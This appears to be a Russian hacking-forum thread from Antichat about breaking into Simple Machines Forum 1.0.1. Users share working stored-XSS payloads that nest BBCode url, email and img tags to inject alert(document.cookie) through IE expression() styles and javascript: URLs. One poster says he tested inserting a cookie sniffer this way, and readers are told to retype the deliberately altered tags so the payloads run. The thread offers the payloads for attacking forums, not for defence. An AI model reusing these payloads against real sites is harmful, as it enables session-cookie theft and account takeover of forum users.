Форум АНТИЧАТ - SMF 1.0.1. (Simple Machines Forum)

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - SMF 1.0.1. (Simple Machines Forum) (https://forum.antichat.xyz/showthread.php?t=5812)

SMF 1.0.1. (Simple Machines Forum)

Ломаю голову уже какой день и никак дыру найти не могу :( Может кто-то уже сталкивался? Вот пример форума. Этот форум ломать не обязательно :D

Дай мне линк на исходники

Чего то и мне ломаку стало интересно поискать уязвимость )
Это же какое счатье потом если найдеш))

Мда... ну и форум.
В первыем минуты мне показалось что он сверх-защищеный. (по обилию тегов)

Через 2 минуты я уже выделил две самых простых XSS. Их хватит. Если нет - берите ещё. Я сделаю видео.

Код:

[urл=http://a[еmail=s=`]a[/еmail]]a[/urл]`xss=`alert(document.cookie);this.xss=null` 

style=top:expression(eval(this.xss));



[iмg]http://[urл=http://s=`]aaaaa[/urл][/iмg]`xss=`alert(document.cookie);this.xss=null` 

style=top:expression(eval(this.xss));

ВНИМАНИЕ! Чтобы НАШ ФОРУМ не парсил (не зависимо от тега [СODE]) мой код, я НАМЕРЕННО написал URL через Л. И емейл тоже так написал.
ПЕРЕПИШИТЕ САМИ!

Спаренные теги в правильном исполнении:

Код HTML:

[img]http://s.d[email]sa@sa/style=background:url(javascript:alert());[/img][/email]

Цитата:

Через 2 минуты я уже выделил две самых простых XSS.

Кстати, ты зря везде пихаешь знак `.
Ведь он прокатывает только в IE.
Если можно обойтись без него, то лучше его не использовать.

Ну... это как сказать.
У меня все правильно. И снифер вставляется. Я проверял.
Расчитано на то что Ie. Сейчас большинство его используют
Так что нельзя назвать мое исполнение неправильным

Цитата:

Сообщение от KEZ

Код:

[urл=http://a[еmail=s=`]a[/еmail]]a[/urл]`xss=`alert(document.cookie);this.xss=null` 

style=top:expression(eval(this.xss));



[iмg]http://[urл=http://s=`]aaaaa[/urл][/iмg]`xss=`alert(document.cookie);this.xss=null` 

style=top:expression(eval(this.xss));

Во, да ты дайшь басу :D :D Буду ждать ролик! Респект. Я день потратил и ничего не нашёл :(

Ссылочку на видео не забудь оставить :rolleyes:

Гррр, что-то я видео ролика обещенного не вижу !